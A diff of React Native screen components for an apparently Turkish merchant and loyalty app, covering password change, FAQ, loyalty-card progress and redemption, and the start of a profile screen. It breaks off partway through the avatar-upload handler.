|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TextInput,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
Alert,
|
||||||
|
KeyboardAvoidingView,
|
||||||
|
Platform,
|
||||||
|
ScrollView,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors, spacing, typography, borderRadius} from '../../theme';
|
||||||
|
import {changePassword} from '../../api/profile';
|
||||||
|
import type {NativeStackScreenProps} from '@react-navigation/native-stack';
|
||||||
|
|
||||||
|
type RootStackParamList = {
|
||||||
|
ChangePassword: undefined;
|
||||||
|
};
|
||||||
|
|
||||||
|
type Props = NativeStackScreenProps<RootStackParamList, 'ChangePassword'>;
|
||||||
|
|
||||||
|
export default function ChangePasswordScreen({navigation}: Props) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const [currentPassword, setCurrentPassword] = useState('');
|
||||||
|
const [newPassword, setNewPassword] = useState('');
|
||||||
|
const [confirmPassword, setConfirmPassword] = useState('');
|
||||||
|
const [loading, setLoading] = useState(false);
|
||||||
|
|
||||||
|
const handleSubmit = async () => {
|
||||||
|
if (!currentPassword || !newPassword || !confirmPassword) {
|
||||||
|
Alert.alert(t('common.error'), t('changePassword.allFieldsRequired'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (newPassword.length < 8) {
|
||||||
|
Alert.alert(t('common.error'), t('changePassword.passwordMinLength'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (newPassword !== confirmPassword) {
|
||||||
|
Alert.alert(t('common.error'), t('changePassword.passwordMismatch'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
setLoading(true);
|
||||||
|
try {
|
||||||
|
await changePassword(currentPassword, newPassword);
|
||||||
|
Alert.alert(t('changePassword.successTitle'), t('changePassword.success'), [
|
||||||
|
{text: t('common.ok'), onPress: () => navigation.goBack()},
|
||||||
|
]);
|
||||||
|
} catch {
|
||||||
|
Alert.alert(t('common.error'), t('changePassword.failed'));
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<KeyboardAvoidingView
|
||||||
|
style={styles.container}
|
||||||
|
behavior={Platform.OS === 'ios' ? 'padding' : 'height'}>
|
||||||
|
<ScrollView contentContainerStyle={styles.scroll} keyboardShouldPersistTaps="handled">
|
||||||
|
{/* Back button */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.backButton}
|
||||||
|
onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backText}>{'\u2190'} {t('common.back')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
<Text style={styles.title}>{t('changePassword.title')}</Text>
|
||||||
|
<Text style={styles.subtitle}>
|
||||||
|
{t('changePassword.subtitle')}
|
||||||
|
</Text>
|
||||||
|
|
||||||
|
<View style={styles.form}>
|
||||||
|
<Text style={styles.label}>Mevcut Sifre</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={currentPassword}
|
||||||
|
onChangeText={setCurrentPassword}
|
||||||
|
placeholder="Mevcut sifreniz"
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
secureTextEntry
|
||||||
|
/>
|
||||||
|
|
||||||
|
<Text style={styles.label}>Yeni Sifre</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={newPassword}
|
||||||
|
onChangeText={setNewPassword}
|
||||||
|
placeholder="En az 8 karakter"
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
secureTextEntry
|
||||||
|
/>
|
||||||
|
|
||||||
|
<Text style={styles.label}>Yeni Sifre Tekrar</Text>
|
||||||
|
<TextInput
|
||||||
|
style={styles.input}
|
||||||
|
value={confirmPassword}
|
||||||
|
onChangeText={setConfirmPassword}
|
||||||
|
placeholder="Yeni sifrenizi tekrarlayin"
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
secureTextEntry
|
||||||
|
/>
|
||||||
|
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.button, loading && styles.buttonDisabled]}
|
||||||
|
onPress={handleSubmit}
|
||||||
|
disabled={loading}>
|
||||||
|
<Text style={styles.buttonText}>
|
||||||
|
{loading ? t('changePassword.changing') : t('changePassword.change')}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</ScrollView>
|
||||||
|
</KeyboardAvoidingView>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: colors.background},
|
||||||
|
scroll: {flexGrow: 1, padding: spacing.xl},
|
||||||
|
backButton: {
|
||||||
|
paddingTop: 40,
|
||||||
|
paddingBottom: spacing.lg,
|
||||||
|
},
|
||||||
|
backText: {...typography.body, color: colors.primary},
|
||||||
|
title: {...typography.h2, color: colors.textPrimary, marginBottom: spacing.xs},
|
||||||
|
subtitle: {...typography.caption, color: colors.textSecondary, marginBottom: spacing.xxl},
|
||||||
|
form: {width: '100%'},
|
||||||
|
label: {
|
||||||
|
...typography.captionBold,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
marginBottom: spacing.xs,
|
||||||
|
marginTop: spacing.lg,
|
||||||
|
},
|
||||||
|
input: {
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: colors.border,
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
padding: spacing.lg,
|
||||||
|
fontSize: 16,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
},
|
||||||
|
button: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
padding: spacing.lg,
|
||||||
|
alignItems: 'center',
|
||||||
|
marginTop: spacing.xxl,
|
||||||
|
},
|
||||||
|
buttonDisabled: {opacity: 0.6},
|
||||||
|
buttonText: {...typography.button, color: colors.textWhite},
|
||||||
|
});
|
||||||
@@ -0,0 +1,140 @@
|
|||||||
|
import React, {useEffect, useState} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
FlatList,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
ActivityIndicator,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors} from '../../theme';
|
||||||
|
import * as faqApi from '../../api/faq';
|
||||||
|
import type {FaqItem} from '../../api/faq';
|
||||||
|
|
||||||
|
export default function FaqScreen({navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const [faqs, setFaqs] = useState<FaqItem[]>([]);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||||||
|
const [activeCategory, setActiveCategory] = useState<string>('all');
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
faqApi.getFaqs().then(data => {
|
||||||
|
setFaqs(data);
|
||||||
|
setLoading(false);
|
||||||
|
}).catch(() => setLoading(false));
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const categories = ['all', ...new Set(faqs.map(f => f.category))];
|
||||||
|
const filtered = activeCategory === 'all' ? faqs : faqs.filter(f => f.category === activeCategory);
|
||||||
|
|
||||||
|
const CATEGORY_LABELS: Record<string, string> = {
|
||||||
|
all: 'Tümü',
|
||||||
|
genel: 'Genel',
|
||||||
|
musteriler: 'Müşteriler',
|
||||||
|
isletmeler: 'İşletmeler',
|
||||||
|
odeme: 'Ödeme',
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={[styles.container, {paddingTop: insets.top}]}>
|
||||||
|
{/* Header */}
|
||||||
|
<View style={styles.header}>
|
||||||
|
<TouchableOpacity onPress={() => navigation.goBack()} style={styles.backBtn}>
|
||||||
|
<Text style={styles.backIcon}>←</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>{t('faq.title')}</Text>
|
||||||
|
<View style={{width: 40}} />
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Category tabs */}
|
||||||
|
<FlatList
|
||||||
|
horizontal
|
||||||
|
data={categories}
|
||||||
|
keyExtractor={item => item}
|
||||||
|
showsHorizontalScrollIndicator={false}
|
||||||
|
contentContainerStyle={styles.categoryList}
|
||||||
|
renderItem={({item}) => (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.categoryChip, activeCategory === item && styles.categoryChipActive]}
|
||||||
|
onPress={() => setActiveCategory(item)}>
|
||||||
|
<Text style={[styles.categoryChipText, activeCategory === item && styles.categoryChipTextActive]}>
|
||||||
|
{CATEGORY_LABELS[item] || item}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
|
||||||
|
{loading ? (
|
||||||
|
<ActivityIndicator size="large" color={colors.primary} style={{marginTop: 40}} />
|
||||||
|
) : (
|
||||||
|
<FlatList
|
||||||
|
data={filtered}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
contentContainerStyle={styles.list}
|
||||||
|
renderItem={({item}) => (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.faqItem}
|
||||||
|
onPress={() => setExpandedId(expandedId === item.id ? null : item.id)}
|
||||||
|
activeOpacity={0.7}>
|
||||||
|
<View style={styles.faqQuestion}>
|
||||||
|
<Text style={styles.faqQuestionText}>{item.question}</Text>
|
||||||
|
<Text style={styles.faqArrow}>{expandedId === item.id ? '−' : '+'}</Text>
|
||||||
|
</View>
|
||||||
|
{expandedId === item.id && (
|
||||||
|
<Text style={styles.faqAnswer}>{item.answer}</Text>
|
||||||
|
)}
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
ListEmptyComponent={
|
||||||
|
<View style={styles.empty}>
|
||||||
|
<Text style={styles.emptyText}>{t('faq.empty')}</Text>
|
||||||
|
</View>
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
|
||||||
|
paddingHorizontal: 16, paddingVertical: 14,
|
||||||
|
backgroundColor: '#FFFFFF', borderBottomWidth: 1, borderBottomColor: '#F3F4F6',
|
||||||
|
},
|
||||||
|
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
|
||||||
|
backIcon: {fontSize: 22, color: '#1A1A1A'},
|
||||||
|
headerTitle: {fontSize: 17, fontWeight: '700', color: '#1A1A1A'},
|
||||||
|
categoryList: {paddingHorizontal: 16, paddingVertical: 12, backgroundColor: '#FFFFFF'},
|
||||||
|
categoryChip: {
|
||||||
|
paddingHorizontal: 18, paddingVertical: 10,
|
||||||
|
borderRadius: 20, borderWidth: 1, borderColor: '#E5E7EB',
|
||||||
|
minWidth: 70, alignItems: 'center' as const,
|
||||||
|
marginRight: 8,
|
||||||
|
},
|
||||||
|
categoryChipActive: {backgroundColor: colors.primary, borderColor: colors.primary},
|
||||||
|
categoryChipText: {fontSize: 14, fontWeight: '600', color: '#374151'},
|
||||||
|
categoryChipTextActive: {color: '#FFFFFF'},
|
||||||
|
list: {paddingHorizontal: 16, paddingTop: 12, paddingBottom: 100},
|
||||||
|
faqItem: {
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: 12,
|
||||||
|
marginBottom: 8, overflow: 'hidden',
|
||||||
|
},
|
||||||
|
faqQuestion: {
|
||||||
|
flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center',
|
||||||
|
padding: 16,
|
||||||
|
},
|
||||||
|
faqQuestionText: {fontSize: 15, fontWeight: '600', color: '#1A1A1A', flex: 1, marginRight: 12},
|
||||||
|
faqArrow: {fontSize: 20, fontWeight: '300', color: '#9CA3AF'},
|
||||||
|
faqAnswer: {
|
||||||
|
fontSize: 14, color: '#6B7280', lineHeight: 20,
|
||||||
|
paddingHorizontal: 16, paddingBottom: 16,
|
||||||
|
},
|
||||||
|
empty: {alignItems: 'center', paddingTop: 40},
|
||||||
|
emptyText: {fontSize: 14, color: '#9CA3AF'},
|
||||||
|
});
|
||||||
@@ -0,0 +1,232 @@
|
|||||||
|
import React, {useCallback, useState} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
FlatList,
|
||||||
|
StyleSheet,
|
||||||
|
RefreshControl,
|
||||||
|
ActivityIndicator,
|
||||||
|
TouchableOpacity,
|
||||||
|
Alert,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useFocusEffect} from '@react-navigation/native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors, borderRadius} from '../../theme';
|
||||||
|
import {getMyCards, redeemReward} from '../../api/merchants';
|
||||||
|
import type {LoyaltyCard} from '../../types/models';
|
||||||
|
|
||||||
|
const CATEGORY_EMOJI: Record<string, string> = {
|
||||||
|
barber: '💈',
|
||||||
|
cafe: '☕',
|
||||||
|
butcher: '🥩',
|
||||||
|
greengrocer: '🥬',
|
||||||
|
pharmacy: '💊',
|
||||||
|
tailor: '🧵',
|
||||||
|
bakery: '🍞',
|
||||||
|
other: '🏪',
|
||||||
|
};
|
||||||
|
|
||||||
|
function progressPercent(card: LoyaltyCard): number {
|
||||||
|
if (card.program_type === 'stamp' && card.stamps_required) {
|
||||||
|
return Math.min(100, (card.current_stamps / card.stamps_required) * 100);
|
||||||
|
}
|
||||||
|
if (card.program_type === 'points' && card.points_required) {
|
||||||
|
return Math.min(100, (card.current_points / card.points_required) * 100);
|
||||||
|
}
|
||||||
|
if (card.program_type === 'frequency' && card.frequency_required) {
|
||||||
|
return Math.min(100, (card.visit_count / card.frequency_required) * 100);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
function progressText(card: LoyaltyCard): string {
|
||||||
|
if (card.program_type === 'stamp' && card.stamps_required) {
|
||||||
|
return `${card.current_stamps}/${card.stamps_required} pul`;
|
||||||
|
}
|
||||||
|
if (card.program_type === 'points' && card.points_required) {
|
||||||
|
return `${card.current_points}/${card.points_required} puan`;
|
||||||
|
}
|
||||||
|
if (card.program_type === 'frequency' && card.frequency_required) {
|
||||||
|
return `${card.visit_count}/${card.frequency_required} ziyaret`;
|
||||||
|
}
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function LoyaltyCardsScreen({navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const [cards, setCards] = useState<LoyaltyCard[]>([]);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [refreshing, setRefreshing] = useState(false);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
const fetchCards = async (isRefresh = false) => {
|
||||||
|
if (isRefresh) setRefreshing(true);
|
||||||
|
else setLoading(true);
|
||||||
|
try {
|
||||||
|
const data = await getMyCards();
|
||||||
|
setCards(data);
|
||||||
|
} catch {
|
||||||
|
setCards([]);
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
setRefreshing(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
useFocusEffect(
|
||||||
|
useCallback(() => {
|
||||||
|
fetchCards();
|
||||||
|
}, []),
|
||||||
|
);
|
||||||
|
|
||||||
|
const handleRedeem = async (card: LoyaltyCard) => {
|
||||||
|
const pct = progressPercent(card);
|
||||||
|
if (pct < 100) {
|
||||||
|
Alert.alert('Henuz hazir degil', `Odulunuzu almak icin ${progressText(card)} tamamlayin.`);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Alert.alert(
|
||||||
|
'Odul Al',
|
||||||
|
`${card.reward_description}\n\nOdulunuzu almak istiyor musunuz?`,
|
||||||
|
[
|
||||||
|
{text: 'Vazgec', style: 'cancel'},
|
||||||
|
{
|
||||||
|
text: 'Odul Al',
|
||||||
|
onPress: async () => {
|
||||||
|
try {
|
||||||
|
await redeemReward(card.id);
|
||||||
|
Alert.alert('Tebrikler!', 'Odulunuz kullanildi.');
|
||||||
|
fetchCards();
|
||||||
|
} catch (err: any) {
|
||||||
|
Alert.alert('Hata', err?.response?.data?.message || 'Odul alinamadi');
|
||||||
|
}
|
||||||
|
},
|
||||||
|
},
|
||||||
|
],
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
if (loading && cards.length === 0) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<ActivityIndicator size="large" color={colors.primary} />
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 12}]}>
|
||||||
|
<TouchableOpacity onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backIcon}>{'\u2190'}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>{t('loyalty.title')}</Text>
|
||||||
|
<View style={{width: 30}} />
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<FlatList
|
||||||
|
data={cards}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
renderItem={({item}) => {
|
||||||
|
const pct = progressPercent(item);
|
||||||
|
const emoji = CATEGORY_EMOJI[item.merchant_category] || '🏪';
|
||||||
|
const ready = pct >= 100;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.card}>
|
||||||
|
<View style={styles.cardHeader}>
|
||||||
|
<Text style={styles.cardEmoji}>{emoji}</Text>
|
||||||
|
<View style={styles.cardInfo}>
|
||||||
|
<Text style={styles.cardMerchant}>{item.merchant_name}</Text>
|
||||||
|
<Text style={styles.cardProgram}>{item.program_name}</Text>
|
||||||
|
</View>
|
||||||
|
{ready && (
|
||||||
|
<TouchableOpacity style={styles.redeemBtn} onPress={() => handleRedeem(item)}>
|
||||||
|
<Text style={styles.redeemText}>{t('loyalty.redeemButton')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={styles.progressBar}>
|
||||||
|
<View style={[styles.progressFill, {width: `${pct}%`}]} />
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={styles.cardFooter}>
|
||||||
|
<Text style={styles.progressLabel}>{progressText(item)}</Text>
|
||||||
|
<Text style={styles.rewardLabel}>{item.reward_description}</Text>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{item.last_visit && (
|
||||||
|
<Text style={styles.lastVisit}>Son ziyaret: {item.last_visit.split('T')[0]}</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}}
|
||||||
|
contentContainerStyle={styles.list}
|
||||||
|
refreshControl={
|
||||||
|
<RefreshControl refreshing={refreshing} onRefresh={() => fetchCards(true)} colors={[colors.primary]} />
|
||||||
|
}
|
||||||
|
ListEmptyComponent={
|
||||||
|
<View style={styles.empty}>
|
||||||
|
<Text style={{fontSize: 48, marginBottom: 16}}>💳</Text>
|
||||||
|
<Text style={styles.emptyTitle}>{t('loyalty.emptyTitle')}</Text>
|
||||||
|
<Text style={styles.emptyText}>{t('loyalty.emptyText')}</Text>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.explorBtn}
|
||||||
|
onPress={() => navigation.navigate('EsnafMap')}>
|
||||||
|
<Text style={styles.explorText}>{t('loyalty.exploreMerchants')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
loadingContainer: {flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#F8F8F8'},
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
|
||||||
|
paddingHorizontal: 16, paddingBottom: 16, backgroundColor: colors.primary,
|
||||||
|
},
|
||||||
|
backIcon: {fontSize: 22, color: '#FFFFFF'},
|
||||||
|
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
list: {padding: 16, paddingBottom: 100},
|
||||||
|
card: {
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: borderRadius.lg, padding: 16,
|
||||||
|
marginBottom: 12, shadowColor: '#000', shadowOffset: {width: 0, height: 2},
|
||||||
|
shadowOpacity: 0.06, shadowRadius: 4, elevation: 2,
|
||||||
|
},
|
||||||
|
cardHeader: {flexDirection: 'row', alignItems: 'center', marginBottom: 12},
|
||||||
|
cardEmoji: {fontSize: 28, marginRight: 12},
|
||||||
|
cardInfo: {flex: 1},
|
||||||
|
cardMerchant: {fontSize: 16, fontWeight: '700', color: '#1A1A1A'},
|
||||||
|
cardProgram: {fontSize: 12, color: '#6B7280', marginTop: 2},
|
||||||
|
redeemBtn: {
|
||||||
|
backgroundColor: colors.primary, borderRadius: 8,
|
||||||
|
paddingHorizontal: 14, paddingVertical: 8,
|
||||||
|
},
|
||||||
|
redeemText: {fontSize: 12, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
progressBar: {
|
||||||
|
height: 8, backgroundColor: '#F3F4F6', borderRadius: 4, overflow: 'hidden',
|
||||||
|
},
|
||||||
|
progressFill: {
|
||||||
|
height: '100%', backgroundColor: colors.primary, borderRadius: 4,
|
||||||
|
},
|
||||||
|
cardFooter: {
|
||||||
|
flexDirection: 'row', justifyContent: 'space-between', marginTop: 8,
|
||||||
|
},
|
||||||
|
progressLabel: {fontSize: 12, fontWeight: '600', color: '#374151'},
|
||||||
|
rewardLabel: {fontSize: 12, color: colors.primary, fontWeight: '600'},
|
||||||
|
lastVisit: {fontSize: 11, color: '#9CA3AF', marginTop: 6},
|
||||||
|
empty: {alignItems: 'center', paddingTop: 60, paddingHorizontal: 40},
|
||||||
|
emptyTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 8},
|
||||||
|
emptyText: {fontSize: 14, color: '#6B7280', textAlign: 'center', marginBottom: 20},
|
||||||
|
explorBtn: {
|
||||||
|
backgroundColor: colors.primary, borderRadius: 12,
|
||||||
|
paddingHorizontal: 24, paddingVertical: 12,
|
||||||
|
},
|
||||||
|
explorText: {fontSize: 14, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
});
|
||||||
@@ -0,0 +1,541 @@
|
|||||||
|
import React, {useEffect, useState} from 'react';
|
||||||
|
import {View, Text, ScrollView, StyleSheet, Alert, TouchableOpacity, Linking, Image, TextInput, Modal, FlatList} from 'react-native';
|
||||||
|
import {launchImageLibrary} from 'react-native-image-picker';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors} from '../../theme';
|
||||||
|
import {useAuthStore} from '../../store/authStore';
|
||||||
|
import {deleteAccount, updateProfile} from '../../api/profile';
|
||||||
|
import client from '../../api/client';
|
||||||
|
import {getOrders} from '../../api/orders';
|
||||||
|
import * as merchantsApi from '../../api/merchants';
|
||||||
|
import {LANGUAGES, changeLanguage} from '../../i18n';
|
||||||
|
import type {LanguageCode} from '../../i18n';
|
||||||
|
import type {NavigationProp} from '@react-navigation/native';
|
||||||
|
|
||||||
|
interface ProfileScreenProps {
|
||||||
|
navigation: NavigationProp<Record<string, object | undefined>>;
|
||||||
|
}
|
||||||
|
|
||||||
|
function QuickActionCard({icon, label, count, onPress}: {icon: string; label: string; count?: number; onPress: () => void}) {
|
||||||
|
return (
|
||||||
|
<TouchableOpacity style={qaStyles.card} onPress={onPress} activeOpacity={0.7}>
|
||||||
|
<View style={qaStyles.iconContainer}>
|
||||||
|
<Text style={qaStyles.icon}>{icon}</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={qaStyles.label}>{label}</Text>
|
||||||
|
{count != null && count > 0 && (
|
||||||
|
<View style={qaStyles.badge}>
|
||||||
|
<Text style={qaStyles.badgeText}>{count}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const qaStyles = StyleSheet.create({
|
||||||
|
card: {
|
||||||
|
flex: 1,
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingVertical: 16,
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: 12,
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: '#F3F4F6',
|
||||||
|
position: 'relative',
|
||||||
|
},
|
||||||
|
iconContainer: {
|
||||||
|
width: 44,
|
||||||
|
height: 44,
|
||||||
|
borderRadius: 12,
|
||||||
|
backgroundColor: '#F3F4F6',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 8,
|
||||||
|
},
|
||||||
|
icon: {fontSize: 20},
|
||||||
|
label: {fontSize: 12, fontWeight: '600', color: '#374151'},
|
||||||
|
badge: {
|
||||||
|
position: 'absolute',
|
||||||
|
top: 8,
|
||||||
|
right: 12,
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderRadius: 10,
|
||||||
|
minWidth: 20,
|
||||||
|
height: 20,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingHorizontal: 6,
|
||||||
|
},
|
||||||
|
badgeText: {fontSize: 11, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
});
|
||||||
|
|
||||||
|
function MenuItem({
|
||||||
|
icon,
|
||||||
|
title,
|
||||||
|
subtitle,
|
||||||
|
onPress,
|
||||||
|
showArrow = true,
|
||||||
|
destructive = false,
|
||||||
|
value,
|
||||||
|
}: {
|
||||||
|
icon: string;
|
||||||
|
title: string;
|
||||||
|
subtitle?: string;
|
||||||
|
onPress?: () => void;
|
||||||
|
showArrow?: boolean;
|
||||||
|
destructive?: boolean;
|
||||||
|
value?: string;
|
||||||
|
}) {
|
||||||
|
return (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={menuStyles.container}
|
||||||
|
onPress={onPress}
|
||||||
|
disabled={!onPress}
|
||||||
|
activeOpacity={0.6}>
|
||||||
|
<Text style={menuStyles.icon}>{icon}</Text>
|
||||||
|
<View style={menuStyles.textContainer}>
|
||||||
|
<Text style={[menuStyles.title, destructive && menuStyles.destructive]}>{title}</Text>
|
||||||
|
{subtitle && <Text style={menuStyles.subtitle}>{subtitle}</Text>}
|
||||||
|
</View>
|
||||||
|
{value && <Text style={menuStyles.value}>{value}</Text>}
|
||||||
|
{showArrow && <Text style={menuStyles.arrow}>›</Text>}
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const menuStyles = StyleSheet.create({
|
||||||
|
container: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingVertical: 14,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
gap: 12,
|
||||||
|
},
|
||||||
|
icon: {fontSize: 20},
|
||||||
|
textContainer: {flex: 1},
|
||||||
|
title: {fontSize: 15, fontWeight: '500', color: '#1A1A1A'},
|
||||||
|
subtitle: {fontSize: 12, color: '#9CA3AF', marginTop: 2},
|
||||||
|
destructive: {color: '#EF4444'},
|
||||||
|
value: {fontSize: 14, color: '#9CA3AF', fontWeight: '500'},
|
||||||
|
arrow: {fontSize: 22, color: '#D1D5DB', fontWeight: '300'},
|
||||||
|
});
|
||||||
|
|
||||||
|
export default function ProfileScreen({navigation}: ProfileScreenProps) {
|
||||||
|
const {t, i18n} = useTranslation();
|
||||||
|
const {user, logout, updateUser} = useAuthStore();
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
const [orderCount, setOrderCount] = useState(0);
|
||||||
|
const [cardCount, setCardCount] = useState(0);
|
||||||
|
const [appointmentCount, setAppointmentCount] = useState(0);
|
||||||
|
const [editingName, setEditingName] = useState(false);
|
||||||
|
const [nameInput, setNameInput] = useState(user?.name || '');
|
||||||
|
const [avatarUri, setAvatarUri] = useState(user?.avatar_url || '');
|
||||||
|
const [saving, setSaving] = useState(false);
|
||||||
|
const [langModalVisible, setLangModalVisible] = useState(false);
|
||||||
|
|
||||||
|
const currentLang = LANGUAGES.find(l => l.code === i18n.language) || LANGUAGES[0];
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
getOrders().then(orders => setOrderCount(orders.length)).catch(() => {});
|
||||||
|
merchantsApi.getMyCards().then(cards => setCardCount(cards.length)).catch(() => {});
|
||||||
|
merchantsApi.getMyAppointments().then(appts => setAppointmentCount(appts.length)).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handlePickAvatar = () => {
|
||||||
|
launchImageLibrary({mediaType: 'photo', maxWidth: 400, maxHeight: 400, quality: 0.8}, async (response) => {
|
||||||
|
if (response.didCancel || !response.assets?.[0]?.uri) return;
|
||||||
|
const asset = response.assets[0];
|
||||||
|
setSaving(true);
|
||||||
|
try {
|
||||||
|
// Upload photo
|
||||||
|
const formData = new FormData();
|
||||||
|
